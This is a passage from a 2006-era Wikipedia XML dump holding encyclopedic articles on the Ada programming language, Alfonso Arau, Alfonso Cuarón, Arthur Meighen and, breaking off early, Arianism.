Ada&amp;nbsp;95, the joint ISO/ANSI standard ([http://www.adaic.org/standards/95lrm/html/RM-TTL.html ISO-8652:1995]) is the latest standard for Ada. It was published in February [[1995]] (making Ada&amp;nbsp;95 the first ISO standard object-oriented programming language). To help with the standard revision and future acceptance, the [[US Air Force]] funded the development of the [[GNAT]] [[Compiler]]. Nowadays the GNAT Compiler is part of the [[GNU Compiler Collection]].

Work continues on improving and updating the technical content of the Ada programming language. A Technical Corrigendum to Ada&amp;nbsp;95 was published in October [[2001]]. Presently, more work is being done to produce the roughly once-a-decade major update
to Ada, expected in [[2007]] (see [http://www.open-std.org/JTC1/SC22/WG9/projects.htm#AMD official schedule]). This new version is commonly known as Ada&amp;nbsp;2005, just as Ada&amp;nbsp;95 was commonly known as Ada&amp;nbsp;94 prior to its publication.

== &quot;Hello, world!&quot; in Ada ==
A common example of a language's [[syntax]] is the [[Hello world program]]:

 '''with''' Ada.Text_IO; 
 
 '''procedure''' Hello '''is'''
 '''begin'''
    Ada.Text_IO.Put_Line(&quot;Hello, world!&quot;);
 '''end''' Hello;

There are shortcuts available for &lt;tt&gt;Ada.Text_IO.Put_Line&lt;/tt&gt;, needing less typing, however they are not used here for better understanding. For a detailed explanation see [[Wikibooks:Ada Programming/Basic]].

== The Ariane 5 failure ==
A commonly encountered myth blames the loss of [[Ariane 5 Flight 501]], a [[European Space Agency]] [[Ariane 5]] rocket, on a bug in an Ada program or on disabling Ada's runtime checks. For the [[Ariane 4]] it had been proven that those runtime checks weren't needed. Although range checks and appropriate exception handlers on all type conversions might have trapped the problem, the problem itself was a design decision to reuse a part and its software from the [[Ariane 4]] rocket without adequate analysis of its suitability or tests on [[Ariane 5]] data.

== See also ==
=== Online tutorials ===
Ada has always been a very open language, and there are many online tutorials available. The following sites have link collections to Ada tutorials

* [[wikibooks:Programming:Ada:Tutorials|Wikibook tutorial for programming in Ada]] - needs some additions
* [http://www.adahome.com/Tutorials at Adahome] - not updated very recently however
* [http://www.adaworld.com/tutorialsmain.html at adaworld] - this site is very good
* [http://www.computer-books.us/ada95.php at Computer-Books.us] - A collection of Ada books available for free download.

=== Organizations ===
*[[Ada Information Clearinghouse]]
*[[SIGAda]] - [[Association for Computing Machinery|ACM]] Special Interest Group on Ada
*[[Ada-Europe]] - European organization to promote the use of Ada

=== Compilers ===
* [[GNAT]] - [[GNAT Modified General Public License|Free]] compiler based on [[GNU Compiler Collection|GCC]]
* [[JGNAT]] - [[GNAT]]-based compiler for the [[Java Runtime Environment]]
* [[MGNAT]] - [[GNAT]]-based compiler for the [[.NET Framework]] Environment ([[A Sharp (.NET)|A#]] project)
* [[ObjectAda]]

=== Tools ===
* [[Aunit]]
* [[AdaGIDE]] (A free GNAT Ada [[Integrated Development Environment]] for Windows)
* [[GNAT Programming Studio]] (GPS)
* [[GNAVI]] (Ada Visual RAD)
* [[GNATCOM]] (Ada binding for Microsoft [[Component Object Model|COM]] spec.)
* [[GtkAda]] (Ada binding for [[GTK+]])
* [[PolyORB]]
* [[XML-Ada|XML/Ada]] and [[XML4Ada95]]
* [[XIA/XPath In Ada]] (An Ada binding to the [[XPath]] 1.0 spec.)
* [http://www.prismtechnologies.com/section-item.asp?sid4=&amp;sid3=187&amp;sid2=10&amp;sid=18&amp;id=389 OrbRiver Ada]

=== Related programming languages ===
* [[SPARK programming language|SPARK]] - High integrity language based on an Ada subset
* [[VHDL]]

=== See also ===
* [[High Integrity System]]s
* [[Ravenscar profile]]

== References ==
=== International Standards ===
* [[ISO 8652|ISO/IEC 8652]]: Information technology &amp;mdash; Programming languages &amp;mdash; Ada
* [[ISO 15291|ISO/IEC 15291]]: Information technology &amp;mdash; Programming languages &amp;mdash; Ada Semantic Interface Specification ([[wiktionary:ASIS|ASIS]])
* [[ISO 18009|ISO/IEC 18009]]: Information technology &amp;mdash; Programming languages &amp;mdash; Ada: Conformity assessment of a language processor ([[wiktionary:ACATS|ACATS]])
* [[IEEE 1003|IEEE Standard 1003.5b-1996]], the [[POSIX]] Ada binding
* [http://www.omg.org/technology/documents/formal/ada_language_mapping.htm Ada Language Mapping Specification], the [[CORBA]] [[Interface description language|IDL]] to Ada mapping

=== Books ===
{{wikibookspar||Ada Programming}}
* [[Jan Skansholm]]: ''Ada&amp;nbsp;95 From the Beginning'', Addison-Wesley, ISBN 0-201-40376-5
* [[John Barnes (computer scientist)|John Barnes]]: ''Programming in Ada plus Language Reference Manual'', Addison-Wesley, ISBN 0-201-56539-0
* [[John Barnes (computer scientist)|John Barnes]]: ''Programming in Ada&amp;nbsp;95'', Addison-Wesley, ISBN 0-201-34293-6
* [[John Barnes (computer scientist)|John Barnes]]: ''High Integrity Ada: The SPARK Approach'', Addison-Wesley, ISBN 0201175177
* [[John Barnes (computer scientist)|John Barnes]]: ''High Integrity Software: The SPARK Approach to Safety and Security'', Addison-Wesley, ISBN 0-321-13616-0
* [[Dean W. Gonzalez]]: ''Ada Programmer's Handbook'', Benjamin-Cummings Publishing Company, ISBN 0805325298
* [[M. Ben-Ari]]: ''Ada for Software Engineers'', John Wiley &amp; Sons, ISBN 0-471-97912-0
* [[Norman Cohen]]: ''Ada as a Second Language'', McGraw-Hill Science/Engineering/Math, ISBN 0-0-7011607-5
* [[Alan Burns]], [[Andy Wellings]]: ''Real-Time Systems and Programming Languages. Ada&amp;nbsp;95, Real-Time Java and Real-Time POSIX.'', Addison-Wesley, ISBN 0-201-72988-1
* [[Alan Burns]], [[Andy Wellings]]: ''Concurrency in Ada'', Cambridge University Press, ISBN 0-521-62911-X
* [[Colin Atkinson]]: ''Object-Oriented Reuse, Concurrency and Distribution: An Ada-Based Approach'', Addison-Wesley, ISBN 0201565277
* [[Grady Booch]], [[Doug Bryan]]: ''Software Engineering with Ada'', Addison-Wesley, ISBN 0805306080
* [[Daniel Stubbs]], [[Neil W. Webre]]: ''Data Structures with Abstract Data Types and Ada'', Brooks Cole, ISBN 0-534-14448-9
* [[Pascal Ledru]]: ''Distributed Programming in Ada with Protected Objects'', Dissertation.com, ISBN 1-58112-034-6
* [[Fintan Culwin]]: ''Ada, a Developmental Approach'', Prentice Hall, ISBN 0132646803
* [[John English]], [[Fintan Culwin]]: ''Ada&amp;nbsp;95 the Craft of Object Oriented Programming'', Prentice Hall, ISBN 0-1-3230350-7
* [[David A. Wheeler]]: ''Ada&amp;nbsp;95'', Springer-Verlag, ISBN 0-387-94801-5
* [[David R. Musser]], [[Alexander Stepanov]]: ''The Ada Generic Library: Linear List Processing Packages'', Springer-Verlag, ISBN 0387971335
* [[Michael B. Feldman]]: ''Software Construction and Data Structures with Ada&amp;nbsp;95'', Addison-Wesley, ISBN 0201887959
* [[Simon Johnston]]: ''Ada&amp;nbsp;95 for C and C++ Programmers'', Addison-Wesley, ISBN 0201403633
*[[Michael B. Feldman]], [[Elliot B. Koffman]]: ''Ada&amp;nbsp;95'', Addison-Wesley, ISBN 0-201-36123-X
* [[Nell Dale]], [[Chip Weems]], [[John McCormick]]: ''Programming and Problem Solving with Ada&amp;nbsp;95'', Jones &amp; Bartlett Publishers, ISBN 0763702935
* [[Nell Dale]], [[Susan Lilly]], [[John McCormick]]: ''Ada Plus Data Structures: An Object-Based Approach'', Jones &amp; Bartlett Publishers, ISBN 0669416762
* [[Bruce C. Krell]]: ''Developing With Ada: Life-Cycle Methods'', Bantam Dell Pub Group, ISBN 0553091026
* [[Judy Bishop]]: ''Distributed Ada: Developments and Experiences'', Cambridge University Press, ISBN 0-521-39251-9
* [[Bo Sanden]]: ''Software Systems Construction With Examples in Ada'', Prentice Hall, ISBN 013030834X
* [[Bruce Hillam]]: ''Introduction to Abstract Data Types Using Ada'', Prentice Hall, ISBN 0130459496
* [[David Rudd]]: ''Introduction to Software Design and Development With Ada'', Brooks Cole, ISBN 0314028293
* [[Ian C. Pyle]]: ''Developing Safety Systems: A Guide Using Ada'', Prentice Hall, ISBN 0132042983
* [[Louis Baker]]: ''Artificial Intelligence With Ada'', McGraw-Hill, ISBN 0070033501
* [[Alan Burns]], [[Andy Wellings]]: ''HRT-HOOD: A Structured Design Method for Hard Real-Time Ada Systems'', North-Holland, ISBN 0444821643
* [[Walter Savitch, Charles Peterson]]: ''Ada: An Introduction to the Art and Science of Programming'', Benjamin-Cummings Publishing Company, ISBN 0805370706
* [[Mark Allen Weiss]]: ''Data Structures and Algorithm Analysis in Ada'', Benjamin-Cummings Publishing Company, ISBN 0805390553

== Ada Wikis ==
=== General Info ===
* [http://ada.krischik.com Ada@Krischik]
* [[wiktionary:ACATS]]
* [[wiktionary:Ada]]
* [[wiktionary:ASIS]]

=== Tutorials ===
* [http://en.wikibooks.org/wiki/Ada_Programming Ada Programming]
* [http://es.wikibooks.org/wiki/Programación_en_Ada Programación en Ada]
* [http://fr.wikibooks.org/wiki/Programmation_Ada Programmation Ada]

=== Projects ===
* [http://adacl.sourceforge.net/index.php AdaCL]
* [http://booch95.sourceforge.net/pmwiki.php The Ada&amp;nbsp;95 Booch Components]
* [http://gnuada.sourceforge.net The GNU Ada Compiler]
* [http://gnat-asis.sourceforge.net ASIS]
* [http://gnat-glade.sourceforge.net GLADE]
* [http://gnat-florist.sourceforge.net Florist]
* [http://wikibook-ada.sourceforge.net Wikibook Ada Programming]

== External links ==
* [http://adaworld.com/ Ada World]
* [http://adapower.com/ AdaPower]
* [http://www.sigada.org/ ACM SIGAda]
* [http://www.ada-europe.org/ Ada-Europe Organization]
* [http://www.adaic.com/ Ada Information Clearinghouse]
* [http://www.open-std.org/jtc1/sc22/wg9/ ISO Home of Ada Standards]
* [http://www.computer-books.us/ada95.php Ada&amp;nbsp;95 Books Available Online]
* [http://www.ada-auth.org/ Ada Rapporteur Group (evolution of standard)]
* [http://www.ada-answers.com/ Ada Answers - Building better software with Ada]
* [http://citeseer.org/cs?q=%22Ada%22 Citations from CiteSeer]
* [news:comp.lang.ada Forum]
* [http://oopweb.com/Ada/Documents/Lovelace/Volume.html Ada Tutorial]
* [http://www.seas.gwu.edu/~mfeldman/ada-project-summary.html Projects Using Ada]
* [http://www.cs.kuleuven.ac.be/~dirk/ada-belgium/events/ Conference announcements for the international Ada community]

=== GNAT - Free Ada compiler ===
* [http://www.adacore.com/academic.php Ada Academic Initiative]
* [http://libre.adacore.com/ &quot;Libre&quot; Ada Software]
* [http://gnuada.sourceforge.net The GNU Ada Project]
* [http://www.gnuada.org/ GNU Ada Homepage]
* [http://www.gnat.com/ GNAT]
* [http://www.usafa.af.mil/df/dfcs/bios/mcc_html/adagide.cfm AdaGIDE, the Ada GNAT Integrated Development Environment for Windows]
* [http://www.gnavi.org/ GNAVI Ada Visual RAD]
* [http://www.martincarlisle.com/a_sharp.html A#: Ada on .NET]

{{Major programming languages small}}

[[Category:.NET programming languages]]
[[Category:Ada programming language|*Ada]]
[[Category:Algol programming language family]]
[[Category:ANSI standards]]
[[Category:Concurrent programming languages]]
[[Category:Imperative programming languages]]
[[Category:ISO standards]]
[[Category:Multi-paradigm programming languages]]
[[Category:Object-oriented programming languages]]
[[Category:Procedural programming languages]]
[[Category:Programming languages]]
[[Category:Statically-typed programming languages]]
[[Category:Systems programming languages]]

[[bg:Ada]]
[[ca:Ada]]
[[cs:Ada]]
[[da:Ada (programmeringssprog)]]
[[de:Ada (Programmiersprache)]]
[[es:Lenguaje de programación Ada]]
[[fi:Ada]]
[[fr:Ada (langage)]]
[[gl:Ada]]
[[he:עדה (שפת תכנות)]]
[[it:Ada]]
[[ja:Ada]]
[[nl:Ada]]
[[nn:programmeringsspråket Ada]]
[[no:Ada]]
[[pl:Ada (informatyka)]]
[[pt:Linguagem de programação Ada]]
[[ru:Ада (язык программирования)]]
[[sk:Ada (programovací jazyk)]]
[[sl:Ada (programski jezik)]]
[[sv:Ada (programspråk)]]
[[th:ภาษา Ada]]
[[tr:Ada programlama dili]]
[[uk:Мова програмування Ada]]
[[zh:Ada]]</text>
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    <title>Alpha ray</title>
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      <contributor>
        <username>Trelvis</username>
        <id>15</id>
      </contributor>
      <comment>moving content to better name</comment>
      <text xml:space="preserve">#REDIRECT [[Alpha particle]]</text>
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  <page>
    <title>Alfonso Arau</title>
    <id>1246</id>
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      <id>38220756</id>
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      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Alfonso Arau''' (born [[January 11]], [[1932]]) is a [[Mexico|Mexican]] director of such films as ''[[Zapata: The Dream of a Hero]]'', ''[[Like Water for Chocolate]]'' (Mexico, 1992) (the novel of which was, somewhat [[Irony|ironically]], written by his wife, [[Laura Esquivel]]), and ''[[A Walk in the Clouds]]'', which starred [[Keanu Reeves]] and [[Anthony Quinn]].

He is also an actor. Among others, he had the antagonic role of &quot;El Guapo&quot; in ¡[[Three Amigos]]! (USA, 1986), a comedy with [[Martin Short]], [[Steve Martin]], and [[Chevy Chase]].  He also played Captain Herrera in [[Sam Peckinpah]]'s 1969 western, [[The Wild Bunch]].

In 1973 he acted and directed ''Calzónzin Inspector'', a movie based on a Mexican comic called ''Los Supermachos'', of great Mexican cartoonist [[Rius]], although Rius disapproved the movie. The movie is about two indigenous Mexicans who are confused for government inspectors from the capital by the corrupt mayor of a small town, and is an humorous political critique, aimed squarely at then ruling party [[Partido Revolucionario Institucional|PRI]] and its [[cacique|caciques]], in a time when freedom of speech in regard to political matters was highly restricted. 
There are at least two versions of the movie, the shorter one having some scenes deleted, the most notable one shows the killing of a renegade farmer by a policeman shooting at his back.

A notable movie was ''El rincón de las vírgenes'' (Mexico, 1972), &quot;The Virgins' Corner&quot; where he plays the helper to a fake mystical doctor travelling town to town, remembering their travels when a group of women intend to propose the doctor for sainthood. The movie is set in the 1920's in rural Mexico.

In December 2004 the Santa Fe Film Festival bestowed its Luminaria Award for lifetime achievement in cinema to Alfonso Arau as a cornerstone to its five-day festival.  Jon Bowman, executive director of the Santa Fe Film Festival said, &quot;Arau is truly a renaissance artist, with a deep and innate understanding of all phases of the cinematic medium.&quot; 

==External links==
*[http://aarau.8m.com Alfonso Arau Web Site]
*{{imdb name|id=0000778|name=Alfonso Arau}}
*[http://www.tvtome.com/tvtome/servlet/PersonDetail/personid-165003/ Alfonso Arau TV Tome Guide]
*[http://santafefilmfestival.com/ Santa Fe Film Festival]

[[Category:1932 births|Arau, Alfonso]]
[[Category:Living people|Arau, Alfonso]]
[[Category:Mexican film directors|Arau, Alfonso]]</text>
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    <title>Alfonso Cuarón</title>
    <id>1247</id>
    <revision>
      <id>40408375</id>
      <timestamp>2006-02-20T09:19:04Z</timestamp>
      <contributor>
        <username>Tskoge</username>
        <id>174597</id>
      </contributor>
      <minor />
      <comment>rv. [[Wikipedia:External links|MoS]] and simple math</comment>
      <text xml:space="preserve">[[Image: Acuaron.jpg|200px|thumb|Alfonso Cuaron]]'''Alfonso Cuarón Orozco''' (born [[November 28]], [[1961]] in [[Mexico City]], [[Mexico]]) is a Mexican [[film director]].

Alfonso Cuarón grew up in the city as well; he went on to study both filmmaking and philosophy at the [[National Autonomous University of Mexico]]. After graduating, Cuaron began working in television in Mexico, first as a technician and then as a director. Cuaron's television work led to assignments as an assistant director for several [[Latin American]] film productions (including ''[[Gaby: A True Story]]'' and ''[[Romero]]''), and in 1991, he landed his first big-screen directorial assignment.

''[[Solo con tu pareja]]'' was a dark comedy about a womanizing businessman who learns he's contracted [[AIDS]]; the film was a massive hit in Mexico, and was enthusiastically received around the world. Director [[Sydney Pollack]] was impressed enough with ''[[Solo con tu pareja]]'' that he hired Cuaron to direct an episode of ''[[Fallen Angels]]'', a series of neo-noir stories produced for the Showtime premium cable network in 1993; other directors who worked on the series included [[Steven Soderbergh]], [[Jonathan Kaplan]], [[Peter Bogdanovich]], and [[Tom Hanks]].

In 1995, Cuarón released his first feature film produced in the United States, ''[[A Little Princess (1995 film)|A Little Princess]]'', an adaptation of [[Frances Hodgson Burnett]]'s classic novel. Cuaron's next feature was also a literary adaptation, a modernized version of [[Charles Dickens]]' ''[[Great Expectations]]'' starring [[Ethan Hawke]], [[Gwyneth Paltrow]], and [[Robert De Niro]].

Cuarón's next project found him making a severe left turn; shot in [[Mexico]] with a Spanish-speaking cast, ''[[Y tu mamá también]]'' was a funny, provocative, and controversial road comedy about two sexually obsessed teenagers who take an extended road trip with an attractive woman in her thirties. The film's open portrayal of sexuality and frequent rude humor, as well as the politically and socially relevant asides, made the film an international hit and a major success with critics. 

He also directed the third film in the successful ''[[Harry Potter]]'' series, ''[[Harry Potter and the Prisoner of Azkaban (movie)|Harry Potter and the Prisoner of Azkaban]]''.  Cuarón has faced criticism amongst the more puritanical Potter fans for &quot;ruining&quot; the Prisoner of Azkaban film; given that the first two instalments, helmed by [[Chris Columbus]], had adhered stringently to the books, Cuarón's rather more individualistic film (which brought with it a far darker tone, costume changes, omitted subplots and other changes to the accepted continuity) came as something of a shock to many fans. However, author [[J.K. Rowling]] has said that this movie is so far her personal favorite from the series, and remained the most critically lauded of the blockbuster series.

His next feature will be ''[[The Children of Men (film)|The Children of Men]]'' an adaptation of the [[P.D. James]] novel of the [[The Children of Men|same name]].

== Filmography ==

* ''[[The Children of Men (film)|The Children of Men]]'' (2006)
* ''[[Harry Potter and the Prisoner of Azkaban (movie)|Harry Potter and the Prisoner of Azkaban]]'' (2003)
* ''[[Y tu mamá también]]'' (2001)
* ''[[Great Expectations (film)|Great Expectations]]'' (1998) 
* ''[[A Little Princess (1995 film)|A Little Princess]]'' (1995)
* ''[[Solo con tu pareja]]'' (1991)

== External link ==

* {{imdb name|id=0190859|name=Alfonso Cuarón}}

[[Category:1961 births|Cuaron, Alfonso]]
[[Category:Living people|Cuaron, Alfonso]]
[[Category:Mexican film directors|Cuaron, Alfonso]]
[[Category:UNAM alumni|Cuaron, Alfonso]]
[[Category:People from Mexico City|Cuaron, Alfonso]]
[[Category:Writing Original Screenplay Oscar Nominee|Cuaron, Alfonso]]

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    </revision>
  </page>
  <page>
    <title>Arthur Meighen</title>
    <id>1251</id>
    <revision>
      <id>41683017</id>
      <timestamp>2006-03-01T01:08:37Z</timestamp>
      <contributor>
        <username>Habsfannova</username>
        <id>90869</id>
      </contributor>
      <minor />
      <comment>/* Opposition leader */</comment>
      <text xml:space="preserve">{{Infobox PM
 | name=Rt. Hon.  Arthur Meighen
 | image=ArthurMeighenheadshot.jpg
 | country=Canada
 | term=[[July 10]], [[1920]] &amp;ndash; [[December 29]], [[1921]]&lt;br&gt;[[June 29]], [[1926]] &amp;ndash; [[September 25]], [[1926]]
 | before=[[Robert Laird Borden|Robert Borden]]&lt;br&gt;[[William Lyon Mackenzie King|Mackenzie King]]
 | after=[[William Lyon Mackenzie King|Mackenzie King]]
 | date_birth=[[June 16]], [[1874]]
 | place_birth=[[Anderson, Ontario|Anderson]], [[Ontario]]
 | date_death=[[August 5]], [[1960]]
 | place_death=[[Toronto]], [[Ontario]]
 | party=[[Conservative Party of Canada (historical)|Conservative]], [[Unionist Party (Canada)|Unionist]]
}}

'''Arthur Meighen''', [[Queen's Privy Council for Canada|PC]] , [[Queen's Counsel|QC]] , [[Bachelor of Arts|BA]] , [[Doctor of Laws|LL.D]] ([[June 16]], [[1874]] – [[August 5]], [[1960]]) was the ninth [[Prime Minister of Canada]] from [[July 10]], [[1920]], to [[December 29]], [[1921]], and [[June 29]] to [[September 25]], [[1926]]. He was the first Prime Minister from [[Western Canada]] and the only, so far, from the Province of [[Manitoba]].  Both of his terms were brief, and the second was  unprecedented and arose partially out of conflicts between the [[Governor General of Canada]] and Meighen's rival, [[William Lyon Mackenzie King]]. 
==Background==
Meighen was born in [[Anderson, Ontario|Anderson]], [[Ontario]], [[Canada]]. He graduated from the [[University of Toronto]], earning a B.A. in [[Mathematics]] in [[1896]].  In [[1904]] he married [[Isabel J. Cox]] ([[1882]] - [[1985]]) with whom he had two sons and one daughter. In 1990, one of his grandsons, [[Michael Meighen]] was appointed to the [[Canadian Senate]] on the recommendation of Prime Minister [[Brian Mulroney]].

Meighen experimented in several professions, including those of teacher, lawyer and businessman, before becoming involved in politics as a member of the [[Conservative Party of Canada (historical)|Conservatives]].  In public, Meighen was a top class debater, and was known for his sharp wit.

==Cabinet==
He was first elected to the [[Canadian House of Commons]] in [[1908]], defeating incumbent [[John Crawford]] in the [[Manitoba]] riding of [[Portage La Prairie]].  He was re-elected in 1908 and [[1911]], and again in 1913 after being appointed [[Solicitor-General]] (at the time, newly appointed Ministers had to seek re-election).

Meighen served as Solicitor-General from [[June 26]], [[1913]], until [[August 25]], [[1917]], when he was appointed [[Minister of Mines]] and [[Secretary of State for Canada]].  In 1917, he was mainly responsible for implementing [[Conscription Crisis of 1917|conscription]]. Noteworthy was the government's decision to give votes to conscription supporters (soldiers and their families), while denying that right to potential opponents of conscription such as immigrants. He was again shifted on [[October 12]], [[1917]], this time to the positions of [[Minister of the Interior]] and [[Superintendent of Indian Affairs]].  

As Minister of the Interior, he steered the largest piece of legislation ever enacted in the British Commonwealth through Parliament - creating the Canadian National Railway Company, which continues today.  Meighen was re-appointed [[Minister of Mines]] on the last day of [[1920]].  In [[1919]], as acting [[Minister of Justice (Canada)|Minister of Justice]] and senior Manitoban in the government of Sir [[Robert Laird Borden]], Meighen helped put down the [[Winnipeg General Strike of 1919|Winnipeg General Strike]] by force.
==First Term==
Meighen became leader of the [[Conservative Party of Canada (historical)|Conservative]] and [[Unionist Party (Canada)|Unionist]] Party and [[Prime Minister]] on [[July 7]], [[1920]], when Borden resigned.  He would quickly call an election.

Meighen fought the [[Canadian federal election, 1921|1921 election]] under the banner of the [[National Liberal and Conservative Party]] in an attempt to keep the allegiance of Liberals who had supported the [[World War I|wartime]] Unionist government. However, his actions in implementing Conscription hurt his party's already-weak support in Quebec, while the Winnipeg General Strike and farm tariffs made him unpopular among labour and farmers alike. The party was defeated by the [[Liberal Party of Canada|Liberals]] led by [[William Lyon Mackenzie King]], and Meighen was personally defeated in [[Portage La Prairie]], falling to third place behind the newly-formed Progressive Party. He continued to lead the Conservative Party (which had reverted to its traditional name), and returned to parliament in [[1922]] for the eastern [[Ontario]] riding of [[Grenville County, Ontario|Grenville]].

==Opposition leader==
[[Image:Meighen biopg1 large.jpg|right|thumb|200px|Meighen was cast by opponents, especially in Quebec, as beholden to Britain's colonial actions.]]
Meighen's term as opposition leader would be most marked by his response to the [[Chanak Affair|crisis at Chanak]], in which Colonial secretary [[Winston Churchill]] leaked to the newspapers that the Dominions may be called upon to help British forces in the area. King refused to commit to sending troops, resenting the way Churchill went above the Dominion leader's heads.  King used the rationale that Parliament should decide, and that the matter was not important enough to recall Parliament.  Meighen strongly condemned his action, saying in a Toronto hotel, &quot;When Britain's messgage came, then Canada should have said, 'Ready, aye ready, we stand by you.'&quot;  When the crisis died down within days, Meighen was left with a reputation as blindly in favour of Britain's interests.

Meighen and King, unlike Laurier and Borden, had a very personal distrust and hatred for each other.  Megihen looked down on King, whom he called &quot;Rex&quot; (King's old University nickname), and considered him unprinicpled.

The Liberal government of Mackenzie King was soon beset with scandals and corruption.  Much of this was uncovered in a Royal Commission established to probe wrongdoing in Quebec, and in particular, in connection with building the Beauharnois Canal.  The [[Tories]] won a plurality of seats in the [[Canadian federal election, 1925 |inconclusive election of 1925]], but King was able to hold onto to power until [[1926]] through an alliance with the [[Progressive Party of Canada|Progressives]].  Meighen denounced King staying in power, saying he was holding on to office like a &quot;lobster with lockjaw.&quot;

==Second term==
A scandal in the Customs department was soon found, making the Progressives wary of supporting King.  When King was on the verge of losing a vote in the Commons in 1926, he asked the Governor General, [[Julian H.G. Byng, Viscount Byng of Vimy|Lord Byng]], to call an election.  Despite every effort to cling to power, Mackenzie King's shaky government was defeated in the House of Commons.  King resigned and Meighen was invited to form a government, having secured a measure of support from the opposition farm parties. This became known as the &quot;[[King-Byng Affair]]&quot;, an attack by Mackenzie King on the Governor General's right to refuse an election where an alternative government is capable of commanding the support of the House of Commons.  

Because of the possibility of losing a vote in Commons while Megihen and his ministers were re-elected (a relic of British law dating to 1701 that was repealed in Canada in 1938), Meighen made his ministers &quot;acting&quot; ones, and did not give them the oath of office.  King made an uproar about the situation, attracting Progressive support to take down the government.  The government would lose confidence by one vote.  There being no other Parliamentary grouping to call upon, Byng called an election.  Meighan's party was swept from office, and Meighen was again defeated in [[Portage La Prairie]].  He resigned as Conservative Party leader shortly thereafter. 

==Afterward==
[[Image:Meighen56.jpg|thumb|right|150px|Meighen in 1956.]]

Meighen was appointed to the [[Senate of Canada|Senate]] in 1932 by [[R.B. Bennett]].  He served as Leader of the Government in the Senate and Minister without Portfolio from [[February 3]], [[1932]], to [[October 22]], [[1935]].  

In 1941, Meighen was prevailed upon to become leader of the Conservative Party again.  He resigned his Senate seat on [[January 16]], [[1942]], and campaigned in a by-election for the [[Toronto]] riding of [[York South]]. According to custom, the Liberals would not run a candidate in the riding. But King, still harbouring a deep hatred for Meighen and thinking that the ardently conscriptionist Meighen coming back into Commons would further imflame the [[Conscription Crisis of 1944|conscription crisis]], would send resources to the [[Cooperative Commonwealth Federation|CCF]]'s [[Joseph Noseworthy]].  Meighen would go down to defeat, and once again withdrew from public life.

Arthur Meighen died in [[Toronto]], [[Ontario]], aged 86, on [[August 5]], [[1960]], and was buried in St. Mary's Cemetery, St. Mary's, Ontario, near his birthplace.

== External links ==
*[http://www.biographi.ca/EN/ShowBio.asp?BioId=42122 Biography at the ''Dictionary of Canadian Biography Online'']
*[http://www.freewebtown.com/stmarysont/ Arthur Meighen Statue, St. Mary's, Ontario]

{{start box}}

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{{succession box two to two | title1=[[Prime Minister of Canada]] | before=[[William Lyon Mackenzie King|Mackenzie King]] | years1=1926 | after=[[William Lyon Mackenzie King|Mackenzie King]] | title2=[[Secretary of State for External Affairs (Canada)|Secretary of State for External Affairs]] | years2=1926}}
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{{canPM}}

{{Conservative Leaders}}

[[Category:1874 births|Meighen, Arthur]]
[[Category:1960 deaths|Meighen, Arthur]]
[[Category:Canadian lawyers|Meighen, Arthur]]
[[Category:Historical Members of the Canadian Senate|Meighen, Arthur]]
[[Category:Leaders of the Conservative Party of Canada|Meighen, Arthur]]
[[Category:Manitoba politicians|Meighen, Arthur]]
[[Category:Members of the Canadian House of Commons from Manitoba|Meighen, Arthur]]
[[Category:Members of the Canadian House of Commons from Ontario|Meighen, Arthur]]
[[Category:Members of the Queen's Privy Council for Canada|Meighen, Arthur]]
[[Category:People from Manitoba|Meighen, Arthur]]
[[Category:Prime Ministers of Canada|Meighen, Arthur]]
[[Category:University of Toronto alumni|Meighen, Arthur]]
[[Category:Irish Canadians|Meighen, Arthur]]

{{Persondata
|NAME=Meighen, Arthur
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=9th Prime Minister of Canada (1920 - 1921, 1926)
|DATE OF BIRTH=[[June 16]], [[1874]]
|PLACE OF BIRTH=[[[[Anderson, Ontario]]
|DATE OF DEATH=[[August 5]], [[1960]]
|PLACE OF DEATH=[[Toronto, Canada]]
}}

[[fr:Arthur Meighen]]
[[pl:Arthur Meighen]]
[[pt:Arthur Meighen]]</text>
    </revision>
  </page>
  <page>
    <title>Arianism</title>
    <id>1252</id>
    <revision>
      <id>39247296</id>
      <timestamp>2006-02-11T20:55:44Z</timestamp>
      <contributor>
        <username>Str1977</username>
        <id>244946</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Christianity}}
:'' This article is about theological views like those of Arius. [[Aryan]] is an unrelated ethnic concept.''
:''Arians may also refer to [[Polish brethren]].''

'''Arianism''' was a [[Christology|Christological]] view held by followers of [[Arius]], a Christian priest who lived and taught in [[Alexandria]], Egypt, in the early [[4th century]]. Arius taught that [[God the Father#God the Father in Christianity|God the Father]] and [[Godhead (Christianity)|the Son]] were not co-eternal, seeing the [[Incarnation#As used in the Christian tradition|pre-incarnate]] [[Jesus]] as a divine being but nonetheless created by (and consequently inferior to) the Father at some point, before which the Son did not exist.  In English-language works, it is sometimes said that Arians believe that Jesus is or was a &quot;creature&quot;; in this context, the word is being used in its original sense of &quot;created being.&quot;

The conflict between Arianism and the [[Trinitarianism|Trinitarian]] beliefs was the first major doctrinal confrontation in the Church after the legalization of Christianity by Emperor [[Constantine I of the Roman Empire|Constantine I]]. Controversy over Arianism extended over the greater part of the fourth century and involved most church members, simple believers and monks as well as bishops and emperors. While Arianism did dominate for several decades in the family of the Emperor, the Imperial nobility and higher ranking clergy, in the end it was Trinitarianism which prevailed theologically and politically at the end of the fourth century, and which has since been a virtually uncontested doctrine in all major branches of the Eastern and Western Church. Arianism, which had been taught by the Arian missionary [[Ulfilas]] to the Germanic tribes, did linger for some centuries among several Germanic tribes in western Europe, especially [[Goths]] and [[Langobards]] but did not play any significant theological role thereafter.

==Beliefs==
Because most contemporary written material on Arianism was written by its opponents, the nature of Arius' teachings are difficult to define precisely today.  The letter of [[Auxentius]][http://ccat.sas.upenn.edu/jod/texts/auxentius.trans.html], a [[4th century]] Arian [[Roman Catholic Archdiocese of Milan|bishop of Milan]], regarding the missionary [[Ulfilas]], gives the clearest picture of Arian beliefs on the nature of the [[Trinity]]: God the Father (&quot;unbegotten&quot;), always existing, was separate from the lesser Jesus Christ (&quot;only-begotten&quot;), born before time began and creator of the world. The Father, working through the Son, created the Holy Spirit, who was subservient to the Son as the Son was to the Father. The Father was seen as &quot;the only true God.&quot; I Corinthians 8:5-6 was cited as proof text:

:&quot;Indeed, even though there may be so-called gods in heaven or on earth — as in fact there are many gods and many lords — yet for us there is one God (''theos''), the Father, from whom are all things and for whom we exist, and one Lord (''kyrios''), Jesus Christ, through whom are all things and through whom we exist.&quot; (NRSV)

== The Council of Nicea and its aftermath ==
